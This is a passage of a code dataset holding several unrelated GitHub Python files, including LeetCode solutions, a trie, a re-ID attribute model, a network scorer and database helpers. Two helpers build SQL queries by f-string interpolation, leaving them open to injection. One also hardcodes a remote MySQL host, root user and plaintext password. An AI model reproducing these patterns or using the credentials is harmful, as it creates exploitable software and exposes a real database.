conn.cursor()\n dbstring = f'''INSERT INTO notepad (ID, subject, contents, date) VALUES \n ({id}, '{subject}', '{contents}', '{date}')'''\n cursor.execute(dbstring)\n conn.commit()\n conn.close()\n\n def from_sql_to_dict(self):\n conn = sqlite3.connect(self.connstring)\n cursor = conn.cursor()\n data = cursor.execute('''SELECT * FROM notepad''')\n res = {}\n for id, row in enumerate(data):\n res[id] = {\n 'subject': row[1],\n 'contents': row[2],\n 'date': row[3]\n }\n conn.close()\n return res\n\n def finish(self, data_dict):\n self.clear_db()\n for key, value in data_dict.items():\n self.insert_in_db(key, value[\"subject\"], value[\"contents\"], value[\"date\"])\n","repo_name":"AlekseyMuzyukin/notepad","sub_path":"ConnectDb.py","file_name":"ConnectDb.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"17534913567","text":"\"\"\"Advent of code Day 19 part 1\"\"\"\n\nimport re\n\n\ndef main():\n \"\"\"Main function\"\"\"\n with open('input.txt', encoding='utf-8') as file:\n file_contents = file.read()\n\n replacements, formula = file_contents.split('\\n\\n')\n replacements = replacements.split('\\n')\n replacements = [tuple(re.split(r' => ', line)) for line in replacements]\n\n distinct_molecules = set()\n\n for replacement in replacements:\n for i in range(len(formula)):\n left_formula, right_formula = formula[:i], formula[i:]\n molecule = left_formula + \\\n right_formula.replace(replacement[0], replacement[1], 1)\n distinct_molecules.add(molecule)\n distinct_molecules.remove(formula)\n\n print(len(distinct_molecules))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"michaelotty/aoc2015","sub_path":"19/aoc201519p1.py","file_name":"aoc201519p1.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"8349195720","text":"b = []\nwith open (\"3.txt\", \"r\", encoding=\"utf-8-sig\") as a:\n\tfor line in a:\n\t\tb.append(line.strip(\"\\n\"))\nfor line in b:\n\ts = line.split(\" \")\n\ttime = s[0][:5] \n\tname = s[0][5:]\n\tprint(name)\n\tprint(time)\n","repo_name":"dailoop/chat","sub_path":"chat3.py","file_name":"chat3.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"74367193032","text":"from sseg_config import Config\nimport sseg_build_model\nimport numpy as np\nimport scipy.misc as misc\nimport matplotlib.pyplot as plt\nfrom utils import visualize\nfrom utils import common_utils as util\nimport time\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\nclass_names = ['00', 'EB_left', 'EB_right', 'Nose', 'Mouse','Face']\n\nif __name__ == '__main__':\n\n # Configurations\n class InferenceConfig(Config):\n BATCH_SIZE = 1\n\n\n config = InferenceConfig()\n\n model_infer = sseg_build_model.SSDSEG(mode=\"inference\", config=config)\n weight_path = '/mnt/sda1/don/documents/ssd_face/ex_final/weights/ssdseg_weights_epoch-70.h5'\n model = model_infer.keras_model\n model.load_weights(weight_path, by_name=True)\n\n image = misc.imread('dis_img/1030333538_1.jpg')\n\n\n image = np.expand_dims(image,axis=0)\n t1 = time.time()\n results = model_infer.inference(image)\n\n results = util.filter_results(results)\n\n\n r =results\n face_box = r['rois'][-1,:]\n face_box = np.int32(face_box)\n fx1,fy1,fx2,fy2 = face_box\n face_mask = np.zeros([512,512],dtype=np.float32)\n face_mask[fy1:fy2,fx1:fx2] = 1.0\n\n\n mask_face = results['face_mask'][0]\n mask_face[:, :, 0] = mask_face[:, :, 0] * face_mask\n\n face_pred = np.argmax(mask_face,axis=-1)\n face3_view = util.view_label3(face_pred)\n misc.imsave('ex_temp_img/1030333538_1.jpg',face3_view)\n # plt.imshow(face3_view)\n # plt.show()\n print(time.time()-t1)\n\n\n mask_face3_out = np.zeros([512, 512, 3], dtype=np.uint8)\n amax = np.amax(mask_face, 2)\n for i in range(3):\n maskt = mask_face[:, :, i] - amax\n mask_face3_out[:, :, i] = np.where(maskt >= 0.0, 1, 0).astype(np.uint8)\n\n visualize.display_instances_class(image[0], results['rois'], results['masks'], results['class_ids'],class_names,None)\n # result_pred,full_view = visualize.display_full_face_show(image=image[0], boxes=r['rois'], masks=r['masks'],\n # class_ids=r['class_ids'],\n # scores=r['score'],\n # mask_face3=mask_face3_out)\n #\n # misc.imsave('ex_temp_img/1030333538_1_full2.jpg', full_view)\n # plt.imshow(full_view)\n # plt.show()\n\n\n\n\n\n","repo_name":"blyucs/face_label_pytorch","sub_path":"display_make.py","file_name":"display_make.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22821083672","text":"## Set collection of items and unique\nfrom typing import Set\n\n\nnumbers = [1,2,1,2,3,4]\nuniques = set(numbers) # {1,2,3,4}\nuniques.add(5) # add\nuniques.remove(4) # remove\nprint(uniques) \n\nfirst = {1,1,2,2,3,4}\nsecond = {1,3,5}\n\nunion_set = first | second # union on two sets\nprint(union_set) # {1,2,3,4,5}\n\ninner_set = first & second # Inner join on two sets\nprint(inner_set) # {1,3}\n\ndiferrece = first - second # Left outer only \nprint(diferrece) # {2,4}\n\nouter_set = first ^ second # Outer only - \nprint(outer_set) # {2,4,5}\n\n\nif 1 in first:\n print(\"Yes\")\n\n","repo_name":"tbr0117/python_training","sub_path":"Topics/DataStructures/Sets.py","file_name":"Sets.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"72476021833","text":"\"\"\"\nGiven a string, return the count of the number of times that a substring\n length 2 appears in the string and also as the last 2 chars of the\n string, so \"hixxxhi\" yields 1 (we won't count the end substring).\n\n\n\"\"\"\n\n\ndef last2(str):\n count = 0\n c = 0\n empty = []\n another = []\n ret = 0\n\n last = [(str[len(str) - 2:len(str)])]\n for i in str:\n count += 1\n if count < len(str):\n empty.append([i + str[count]])\n\n for i in empty:\n if i == last:\n ret += 1\n\n if ret - 1 < 0:\n return 0\n else:\n\n return (ret - 1)","repo_name":"K-wachira/Data-Structures-and-Algorithms","sub_path":"codingbat/archive/Warmup-2/last2.py","file_name":"last2.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"12677674718","text":"\nimport matplotlib.pyplot as plt \nimport torch.nn as nn\nfrom hw4dl.loaders.toy_loader import PolyData\nimport numpy as np \nfrom hw4dl.tools.manage_models import load_model, get_most_recent_model\nfrom hw4dl.train import make_polyf, make_sigma_positive\nfrom torch.utils.data import DataLoader\nfrom hw4dl.loaders.toy_loader import construct_intervals\nimport torch\n#TODO: check valid interval points, calculate amount of lower,upper that it classified correctly\n\ndef get_mask_from_intervals(intervals, x_values:np.ndarray):\n \"\"\"\n Get a mask of the x_values that are in the intervals\n :param intervals: The intervals to check\n :param x_values: The x values to check\n :return: A mask of the x values that are in the intervals \n \"\"\"\n mask = np.zeros_like(x_values, dtype=bool)\n for interval in intervals:\n mask = np.logical_or(mask, np.logical_and(x_values >= interval[0], x_values <= interval[1]))\n return mask\n\ndef score_network_performance(model:nn.Module,\n toy_loader:PolyData,\n epi_threshold:float=0.1,\n device:str=\"cpu\",\n )->tuple[np.ndarray, np.ndarray, float, float]: \n \"\"\"\n Score ensemble performance on a toy dataset!\n :param model: The model to score\n :param toy_loader: The toy dataset\n :param epi_threshold: The threshold to use for epistemic uncertainty. Deprecated\n :param device: The device to run the model on\n :return: A tuple of the mean MSE, mean sigma, percentage of samples classified correctly, and epistemic score\n \"\"\"\n samples = np.linspace(toy_loader.lower, toy_loader.upper, 1000)\n var = toy_loader.varf(samples)\n # ax.plot(samples, toy_loader.polyf(samples), label=\"True Function\")\n\n torch_input = torch.unsqueeze(torch.tensor(samples, dtype=torch.float32), 1).to(device)\n model.to(device)\n model.eval()\n model.scramble_batches = False\n outputs = model(torch_input)\n values = torch.stack(outputs).squeeze(-1)\n means = values[:,:,0].mean(dim=0)\n sigma = make_sigma_positive(values[:,:,1]).mean(dim=0)\n epistemic_sigma = torch.std(values[:,:,0], dim=0)\n epistemic_sigma = epistemic_sigma.detach().cpu().numpy()\n\n classified_data_region = epistemic_sigma < epi_threshold\n intervals = construct_intervals(toy_loader.use_gaps, toy_loader.gaps, toy_loader.lower, toy_loader.upper)\n mask = get_mask_from_intervals(intervals, samples)\n samples_correct = np.sum(\n np.logical_and(classified_data_region, mask)\n ) + np.sum(np.logical_and(np.logical_not(classified_data_region), np.logical_not(mask)))\n total_samples = samples.shape[0]\n\n # positive all uncertainty in no data region minus all uncertainty in data region\n epi_scores = -np.sum(mask * epistemic_sigma) + np.sum(np.logical_not(mask) * epistemic_sigma)\n\n\n means = means.detach().cpu().numpy()\n sigma = sigma.detach().cpu().numpy()\n mean_mse = np.mean(np.square(means[mask] - toy_loader.polyf(samples[mask])))\n mean_sigma = np.mean(np.square(np.square(sigma[mask]) - var[mask]))\n print(f\"Mean MSE: {mean_mse}\")\n print(f\"Mean Sigma: {mean_sigma}\")\n print(f\"Percentage of samples classified correctly: {samples_correct/total_samples}\")\n return mean_mse, mean_sigma, samples_correct/total_samples, epi_scores\n\ndef get_mask_from_gaps(gaps, shape):\n mask = np.ones(shape)\n for gap in gaps:\n xx, yy = np.meshgrid(list(range(gap[0], gap[1] + 1)), list(range(gap[2], gap[3] + 1)))\n mask[xx, yy] = 0\n return mask.flatten()\n\ndef score_cnn_performance(model:nn.Module,\n test_loader,\n epi_threshold,\n device,\n )->plt.Axes:\n model.eval()\n testx, testy = np.meshgrid(np.arange(15), np.arange(15))\n coords = []\n all_inputs = []\n for x, y in zip(testx.ravel(), testy.ravel()):\n inputs = np.zeros((15, 15))\n inputs[x, y] = 1\n all_inputs.append(torch.tensor(inputs))\n coords.append((x, y))\n coords = np.array(coords)\n inputs = torch.stack(all_inputs).unsqueeze(1).type(torch.float32).to(device)\n outputs = model(inputs)\n values = torch.stack(outputs).squeeze(-1)\n means = values[:, :, 0].mean(dim=0)\n sigma = torch.sqrt(\n torch.mean(make_sigma_positive(values[:, :, 1]) + torch.square(values[:, :, 0]), dim=0) - torch.square(means))\n epistemic_sigma = torch.std(values[:, :, 0], dim=0)\n epistemic_sigma = epistemic_sigma.detach().cpu().numpy()\n classified_data_region = epistemic_sigma < epi_threshold\n\n mask = get_mask_from_gaps(test_loader.gaps, test_loader.shape).astype(bool)\n\n x_input = (2 * testx.ravel()) / test_loader.shape[0] - 1\n y_input = (2 * testy.ravel()) / test_loader.shape[0] - 1\n gt_mean = test_loader.polyf(x_input, y_input)\n gt_var = test_loader.varf(x_input, y_input)\n\n samples_correct = np.sum(\n np.logical_and(classified_data_region, mask)\n ) + np.sum(np.logical_and(np.logical_not(classified_data_region), np.logical_not(mask)))\n total_samples = len(testx) * len(testy)\n\n # positive all uncertainty in no data region minus all uncertainty in data region\n epi_scores = -np.sum(mask * epistemic_sigma) + np.sum(np.logical_not(mask) * epistemic_sigma)\n\n means_arr = means.detach().cpu().numpy()\n sigma_arr = sigma.detach().cpu().numpy()\n mean_mse = np.mean(np.square(means_arr[mask] - gt_mean[mask]))\n mean_sigma = np.mean(np.square(np.square(sigma_arr[mask]) - gt_var[mask]))\n print(f\"Mean MSE: {mean_mse}\")\n print(f\"Mean Sigma: {mean_sigma}\")\n print(f\"Percentage of samples classified correctly: {samples_correct / total_samples}\")\n print(f\"Epi score {epi_scores}\")\n return mean_mse, mean_sigma, samples_correct/total_samples, epi_scores\n\nif __name__ == \"__main__\":\n most_recent_model = get_most_recent_model()\n model, config = load_model(most_recent_model)\n polyf, varf, gaps = make_polyf(config[\"polyf_type\"])\n train_dataset = PolyData(polyf, varf, gaps, size=config[\"train_size\"], seed=1111)\n\n score_network_performance(model, train_dataset, epi_threshold=0.01)","repo_name":"aknh9189/hw4dl_final_project","sub_path":"hw4dl/tools/score_ensemble.py","file_name":"score_ensemble.py","file_ext":"py","file_size_in_byte":5979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"21486273496","text":"# -*- coding: utf-8 -*-#\n# -------------------------------------------------------------------------------\n# Name: 208. Implement Trie (Prefix Tree).py\n# Author: wdf\n# Date: 1/2/2020\n# IDE: PyCharm \n# Parameters:\n# @param:\n# @param:\n# Return: \n# \n# Description: \n# Usage:\n# -------------------------------------------------------------------------------\n\n# 208. Implement Trie (Prefix Tree)\n# https://leetcode.com/problems/implement-trie-prefix-tree/\n# Note:\n#\n# You may assume that all inputs are consist of lowercase letters a-z.\n# All inputs are guaranteed to be non-empty strings.\n\n\n# Success\n# Details\n# Runtime: 124 ms, faster than 95.25% of Python3 online submissions for Implement Trie (Prefix Tree).\n# Memory Usage: 26.3 MB, less than 66.67% of Python3 online submissions for Implement Trie (Prefix Tree).\n\nclass Trie_2:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.root = {}\n self.end = -1\n\n def insert(self, word):\n \"\"\"\n Inserts a word into the trie.\n :type word: str\n :rtype: void\n # 得到的结果存储在root里,是一个嵌套的字典结构\n \"\"\"\n curNode = self.root\n for c in word:\n if not c in curNode: #如果该字符是个新字符,需要新开一个子树\n curNode[c] = {}\n curNode = curNode[c] # 如果该字符之前出现过,则跳转到该子树,从该子树开始\n curNode[self.end] = True # 遍历完字符串,给每个字符串添加一个结束标识符\n\n def search(self, word):\n \"\"\"\n Returns if the word is in the trie.\n :type word: str\n :rtype: bool\n \"\"\"\n curNode = self.root\n for c in word:\n if not c in curNode: # 如果不存在该字符,则直接返回false\n return False\n curNode = curNode[c] # 如果该字符存在,则跳转到该字符、遍历下一个\n\n # 即便该字符串所有字符都存在,但也不一定是一个完整的子串(可能只是公共前缀)\n # Doesn't end here\n if not self.end in curNode:\n return False\n\n # 所有字符串都存在,且是个完整的字符串(不只是公共前缀)\n return True\n\n def startsWith(self, prefix):\n \"\"\"\n Returns if there is any word in the trie that starts with the given prefix.\n :type prefix: str\n :rtype: bool\n \"\"\"\n curNode = self.root\n for c in prefix:\n if not c in curNode:\n return False\n curNode = curNode[c]\n\n # 与search相比,不需要判断是否有结束标识符\n return True\n\n def print_trie(self):\n print(self.root)\n\n\n## 代码精简\n# Success\n# Details\n# Runtime: 128 ms, faster than 91.38% of Python3 online submissions for Implement Trie (Prefix Tree).\n# Memory Usage: 26.1 MB, less than 66.67% of Python3 online submissions for Implement Trie (Prefix Tree).\nclass Trie:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.root = {}\n self.end_word = \"#\" # 标记字符串结束\n\n def insert(self, word: str) -> None:\n \"\"\"\n Inserts a word into the trie.\n # 得到的结果存储在root里,是一个嵌套的字典结构\n\n \"\"\"\n node = self.root\n\n for c in word:\n node = node.setdefault(c, {})\n # 如果字符c存在的话,返回c;\n # 如果不存在,则开辟为一个新的空字典\n # 然后返回字典c或者空字典(相当于调整到下一层字典),\n\n node[self.end_word] = True # 插入每个单词后,该单词最后一个字符都设置为True\n\n def search(self, word: str) -> bool:\n \"\"\"\n Returns if the word is in the trie.\n \"\"\"\n node = self.root\n for c in word:\n if c not in node:\n return False\n node = node[c]\n\n return self.end_word in node # 精简\n\n def startsWith(self, prefix: str) -> bool:\n \"\"\"\n Returns if there is any word in the trie that starts with the given prefix.\n \"\"\"\n node = self.root\n for c in prefix:\n if c not in node:\n return False\n node = node[c]\n\n return True\n\n def print_trie(self):\n print(self.root)\n\n\n# Your Trie object will be instantiated and called as such:\n# obj = Trie()\n# obj.insert(word)\n# param_2 = obj.search(word)\n# param_3 = obj.startsWith(prefix)\n\n\ndef main():\n word = 'word'\n obj = Trie()\n print(obj)\n obj.insert(word)\n obj.print_trie()\n\n print(obj.search('word'))\n print(obj.search('world'))\n print(obj.search('wor'))\n\n print(obj.startsWith('wor'))\n print(obj.startsWith('word'))\n print(obj.startsWith('world'))\n\n obj.insert('world')\n obj.print_trie()\n\n obj.insert('abc')\n obj.print_trie()\n\n\nif __name__ == '__main__':\n res = {'w':\n {'o':\n {'r':\n {'d':\n {-1: True},\n 'l':\n {'d':\n {-1: True}}}}},\n 'a':\n {'b':\n {'c':\n {-1: True}}}}\n main()\n","repo_name":"weidafeng/Data-Structure-and-Algorithm","sub_path":"极客时间-算法与数据结构/字典树Trie树/208. Implement Trie (Prefix Tree).py","file_name":"208. Implement Trie (Prefix Tree).py","file_ext":"py","file_size_in_byte":5447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"32142751349","text":"from typing import List\nfrom math import inf, sqrt\n'''\ndp[i] = True if any([not dp[i + j * j] for j in range(n + 1)])\n'''\nclass Solution:\n def winnerSquareGame(self, n: int) -> bool:\n dp = [False for _ in range(n+1)]\n for i in range(n-1, -1, -1):\n for j in range(1, n + 1):\n if i + j * j > n:\n break\n if not dp[i + j * j]:\n dp[i] = True\n break\n return dp[0]\n\ns = Solution()\nn = 5\nprint(s.winnerSquareGame(n))","repo_name":"DingChiLin/AlgorithmSampleCode","sub_path":"DynamicProgramming/Game/StoneGameIV.py","file_name":"StoneGameIV.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"23524020948","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def hasCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n \n# while (head):\n# if str(head.val) == head.val:\n# return True\n# else:\n# head.val = str(head.val)\n# head = head.next\n \n# return False\n\n \n if not(head and head.next):\n return False\n fast = head.next\n slow = head\n while (fast.next and fast.next.next):\n if fast == slow:\n return True\n else:\n fast = fast.next.next\n slow = slow.next\n return False\n \n","repo_name":"joonkyu4220/LeetCode","sub_path":"Linked List Cycle.py","file_name":"Linked List Cycle.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"33486947128","text":"import pymysql\n\n\ndef get_conn():\n \"\"\"\n 无需输入\n 返回一个数据库连接对象和一个数据库指针对象\n \"\"\"\n conn = pymysql.connect(\n host=\"47.94.193.86\",\n port=3306,\n user=\"root\",\n password=\"BJFUAutoLD666!!!\",\n database=\"autold\",\n charset=\"utf8\"\n )\n cursor = conn.cursor()\n return conn, cursor\n\n\n# 查询所有\ndef find_all():\n conn, cursor = get_conn()\n # 执行查询操作\n sql = \"select * from ai_select\"\n cursor.execute(sql)\n result = cursor.fetchall()\n conn_close(conn, cursor)\n return result\n\n\ndef finder(value, property=\"id\", table=\"ai_select\"):\n \"\"\"\n :param value: 筛选的值\n :param property:筛选的属性\n :param table:筛选的表\n :return: 返回一个元组,元组内元素是每一个符合value的数据库条目组成的元素\n 作用:以筛���property属性为value的数据库条目\n \"\"\"\n conn, cursor = get_conn()\n sql = f\"select * from {table} where {property}=\\'{value}\\'\"\n cursor.execute(sql)\n result = cursor.fetchall()\n conn_close(conn, cursor)\n return result\n\n\ndef finder2(value, property=\"sort\", table=\"ai_select\"):\n conn, cursor = get_conn()\n sql = f\"select * from {table} where {property}=\\'{value}\\'\"\n cursor.execute(sql)\n result = cursor.fetchall()\n conn_close(conn, cursor)\n return result\n\n\ndef find_all2():\n conn, cursor = get_conn()\n # 执行查询操作\n sql = \"select * from ai_select order by sort\"\n cursor.execute(sql)\n result = cursor.fetchall()\n conn_close(conn, cursor)\n return result\n\n\ndef change_up(al_id):\n # 上架算法\n conn, cursor = get_conn()\n sql = f\"update ai_select set state=%s where id = %s\"\n cursor.execute(sql, (1, al_id))\n conn.commit()\n conn_close(conn, cursor)\n\n\ndef change_down(al_id):\n # 下架算法\n conn, cursor = get_conn()\n sql = f\"update ai_select set state=%s where id = %s\"\n cursor.execute(sql, (0, al_id))\n conn.commit()\n conn_close(conn, cursor)\n\n\ndef conn_close(conn, cursor):\n \"\"\"\n 关闭连接与指针\n :param conn: 数据库连接变量\n :param cursor: 数据库指针变量\n :return: 无\n \"\"\"\n conn.close()\n cursor.close()\n\n","repo_name":"bjfu2022pro/AutoLD","sub_path":"util_algorithmic_mall.py","file_name":"util_algorithmic_mall.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"3680047047","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn import init\nfrom torchvision import models\nfrom torch.autograd import Variable\n\nfrom .backbones.resnet import *\nimport numpy as np\n\nclass WeightedAvgPooling(nn.Module):\n\tdef __init__(self, num_ftrs=2048):\n\t\tsuper().__init__()\n\t\tself.num_ftrs = num_ftrs\n\t\tpart_detector_block = []\n\t\t# 1*1 conv layer\n\t\tpart_detector_block += [nn.Conv2d(self.num_ftrs, self.num_ftrs, 1)]\n\t\tpart_detector_block += [nn.Sigmoid()]\n\t\tpart_detector_block = nn.Sequential(*part_detector_block)\n\t\tpart_detector_block.apply(weights_init_kaiming)\n\t\tself.part_detector_block = part_detector_block\n\n\tdef forward(self, x):\n\t\tmask = self.part_detector_block(x)\n\t\tmask = torch.sum(mask * x, dim=(3, 2)) / \\\n\t\t\t (x.shape[-2] * x.shape[-1]) # 32 * 2048\n\t\treturn mask\n \ndef weights_init_kaiming(m):\n\tclassname = m.__class__.__name__\n\tif classname.find('Conv') != -1:\n\t\tinit.normal_(m.weight, std=0.001)\n\t\tinit.constant_(m.bias, 0)\n\telif classname.find('Linear') != -1:\n\t\tinit.normal_(m.weight, std=0.001)\n\t\tinit.constant_(m.bias, 0)\n\telif classname.find('SyncBatchNorm2d') != -1:\n\t\tm.weight.data.fill_(1)\n\t\tm.bias.data.fill_(0)\n\n\ndef weights_init_classifier(m):\n\tclassname = m.__class__.__name__\n\tif classname.find('Linear') != -1:\n\t\tinit.normal_(m.weight.data, std=0.001)\n\t\ttry:\n\t\t\tinit.constant_(m.bias.data, 0.0)\n\t\texcept:\n\t\t\tpass\n\nclass PCBSplitter(nn.Module):\n\tdef __init__(self, num_parts):\n\t\tsuper(PCBSplitter, self).__init__()\n\t\tself.num_parts = num_parts\n\t\tfor i in range(num_parts):\n\t\t\tsetattr(self, 'chunk_' + str(i), nn.AdaptiveAvgPool2d([1, 1]))\n\t\n\tdef forward(self, x):\n\t\treturnX = torch.FloatTensor().cuda()\n\t\tsplittedTensor = torch.chunk(x, self.num_parts, dim=2) # dim=1 here means to split along height\n\t\tchunkNum = 0\n\t\tfor eachTensor in splittedTensor:\n\t\t\tchunk = getattr(self, 'chunk_' + str(chunkNum))\n\t\t\tpooledChunk = chunk(eachTensor)\n\t\t\treturnX = torch.cat((returnX, pooledChunk), dim=2)\n\t\t\tchunkNum += 1;\n\t\treturn returnX\n\n\nclass AttrClassBlockFc(nn.Module):\n\tdef __init__(self, input_dim, class_num=1, dropout=True, relu=True, bottleneck_plane=512, bn=None,\n\t\t\t\t attr_bottleneck=False):\n\t\tsuper(AttrClassBlockFc, self).__init__()\n\t\tself.attr_pooling = WeightedAvgPooling(num_ftrs=2048)\n\n\t\tadd_block = []\n\t\tif attr_bottleneck:\n\t\t\tself.bottle = Bottleneck(input_dim, bottleneck_plane)\n\t\t\tprint('add Bottleneck in attr_class_block')\n\t\telse:\n\t\t\tself.bottle = nn.Identity()\n\n\t\tadd_block += [nn.Linear(input_dim, bottleneck_plane)] # linear\n\t\tadd_block += [nn.BatchNorm1d(bottleneck_plane)] # BN\n\t\t# add_block += [bn(num_bottleneck)]\n\t\tif relu:\n\t\t\tadd_block += [nn.LeakyReLU(0.1)]\n\t\tif dropout:\n\t\t\tadd_block += [nn.Dropout(p=0.5)]\n\t\tadd_block = nn.Sequential(*add_block)\n\t\tadd_block.apply(weights_init_kaiming)\n\t\t\n\t\tclassifier = []\n\t\tclassifier += [nn.Linear(bottleneck_plane, class_num)]\n\t\tclassifier = nn.Sequential(*classifier)\n\t\tclassifier.apply(weights_init_classifier)\n\t\t\n\t\tself.add_block = add_block\n\t\tself.classifier = classifier\n\t\n\tdef forward(self, x, label=None):\n\t\tfeat = self.bottle(x)\n\t\tx = self.attr_pooling(feat)\n\t\tx = x.view(x.size(0), x.size(1))\n\t\t# x = torch.unsqueeze(x, 2)\n\t\t# x = torch.unsqueeze(x, 3)\n\t\tfeat = self.add_block(x)\n\t\tx = self.classifier(feat)\n\t\t# x = torch.squeeze(x)\n\t\treturn x, feat\n \nclass AttrAttnBlockFc(nn.Module):\n\tdef __init__(self, input_dim, class_num=1, dropout=True, relu=True, bottleneck_plane=512, bn=None, attr_bottleneck=False, wavp=False):\n\t\tsuper(AttrAttnBlockFc, self).__init__()\n\t\tself.masks = nn.Conv2d(2048, 4, 1)\n\t\tself.sm = nn.Sigmoid()\n\t\tself.wavp = wavp\n\t\tprint(f'weighted_avp: {wavp}')\n\t\tif wavp:\n\t\t\tself.attr_pooling_gen = WeightedAvgPooling(num_ftrs=2048)\n\t\t\tself.attr_pooling_head = WeightedAvgPooling(num_ftrs=2048)\n\t\t\tself.attr_pooling_upper = WeightedAvgPooling(num_ftrs=2048)\n\t\t\tself.attr_pooling_lower = WeightedAvgPooling(num_ftrs=2048)\n\t\t\tself.clf_gen = ClassBlock(2048, 5, return_f=False, num_bottleneck=128) #temporarily disable return feature, will add asap\n\t\t\tself.clf_head = ClassBlock(2048, 2, return_f=False, num_bottleneck=128)\n\t\t\tself.clf_upper = ClassBlock(2048, 10, return_f=False, num_bottleneck=128)\n\t\t\tself.clf_lower = ClassBlock(2048, 13, return_f=False, num_bottleneck=128)\n\t\telse:\n\t\t\tself.clf_gen = nn.Linear(2048, 5)\n\t\t\tself.clf_head = nn.Linear(2048, 2)\n\t\t\tself.clf_upper = nn.Linear(2048, 10)\n\t\t\tself.clf_lower = nn.Linear(2048, 13)\n\t\t\n\t\tif attr_bottleneck:\n\t\t\tself.bottle = Bottleneck(input_dim, bottleneck_plane)\n\t\t\tprint('add Bottleneck in attr_class_block')\n\t\telse:\n\t\t\tself.bottle = nn.Identity()\n\n\t\tself.clf_gen.apply(weights_init_classifier)\n\t\tself.clf_upper.apply(weights_init_classifier)\n\t\tself.clf_lower.apply(weights_init_classifier)\n\t\tself.clf_head.apply(weights_init_classifier)\n\t\n\tdef forward(self, x, label=None):\n\t\tfeat = self.bottle(x)\n\t\tattr_feat = feat\n\t\tmasks = self.masks(feat) #bs, 1, h, w\n\t\tmasks = self.sm(masks)\n\t\tmask_gen = masks[:,0].unsqueeze(1)\n\t\tmask_head = masks[:,1].unsqueeze(1)\n\t\tmask_upper = masks[:,2].unsqueeze(1)\n\t\tmask_lower = masks[:,3].unsqueeze(1)\n\t\tx_gen = x * mask_gen\n\t\tx_head = x * mask_head\n\t\tx_upper = x * mask_upper\n\t\tx_lower = x * mask_lower\n\t\t\n\t\tif self.wavp:\n\t\t\tx_gen = self.attr_pooling_gen(x_gen)\n\t\t\tx_head = self.attr_pooling_head(x_head)\n\t\t\tx_upper = self.attr_pooling_upper(x_upper)\n\t\t\tx_lower = self.attr_pooling_lower(x_lower)\n\t\telse:\n\t\t\tx_gen = F.avg_pool2d(x_gen, x_gen.size()[2:])\n\t\t\tx_head = F.avg_pool2d(x_head, x_head.size()[2:])\n\t\t\tx_upper = F.avg_pool2d(x_upper, x_upper.size()[2:])\n\t\t\tx_lower = F.avg_pool2d(x_lower, x_lower.size()[2:])\n\n\t\tx_gen = x_gen.view(x_gen.size(0), x_gen.size(1))\n\t\tx_head = x_head.view(x_head.size(0), x_head.size(1))\n\t\tx_upper = x_upper.view(x_upper.size(0), x_upper.size(1))\n\t\tx_lower = x_lower.view(x_lower.size(0), x_lower.size(1))\n\n\t\tx_gen = self.clf_gen(x_gen)\n\t\tx_head = self.clf_head(x_head)\n\t\tx_upper = self.clf_upper(x_upper)\n\t\tx_lower = self.clf_lower(x_lower)\n\t\t#now resemble the sequence\n\t\tx = torch.cat((x_gen, x_head, x_upper, x_lower), 1)\n\t\t'''\n\t\tif self.training == False:\n\t\t\tnp.save('/mnt/lustre/liuyuan1/cvpr20/network/MT-Net/data_quality/attrmask/head.npy', mask_head)\n\t\t\tnp.save('/mnt/lustre/liuyuan1/cvpr20/network/MT-Net/data_quality/attrmask/upper.npy', mask_upper)\n\t\t\tnp.save('/mnt/lustre/liuyuan1/cvpr20/network/MT-Net/data_quality/attrmask/lower.npy', mask_lower)\n\t\t'''\n\t\treturn x, mask_head, mask_upper, mask_lower, feat\n\n\n# Defines the new fc layer and classification layer\n# |--Linear--|--bn--|--relu--|--Linear--|\nclass ClassBlock(nn.Module):\n\tdef __init__(self, input_dim, class_num, droprate=0.5, relu=False, bnorm=True, num_bottleneck=512, linear=True,\n\t\t\t\t return_f=False):\n\t\tsuper(ClassBlock, self).__init__()\n\t\tself.return_f = return_f\n\t\tadd_block = []\n\t\tif linear:\n\t\t\tadd_block += [nn.Linear(input_dim, num_bottleneck)]\n\t\telse:\n\t\t\tnum_bottleneck = input_dim\n\t\tif bnorm:\n\t\t\tadd_block += [nn.BatchNorm1d(num_bottleneck)]\n\t\tif relu:\n\t\t\tadd_block += [nn.LeakyReLU(0.1)]\n\t\tif droprate > 0:\n\t\t\tadd_block += [nn.Dropout(p=droprate)]\n\t\tadd_block = nn.Sequential(*add_block)\n\t\tadd_block.apply(weights_init_kaiming)\n\n\t\tclassifier = []\n\t\tclassifier += [nn.Linear(num_bottleneck, class_num)]\n\t\tclassifier = nn.Sequential(*classifier)\n\t\tclassifier.apply(weights_init_classifier)\n\n\t\tself.add_block = add_block\n\t\tself.classifier = 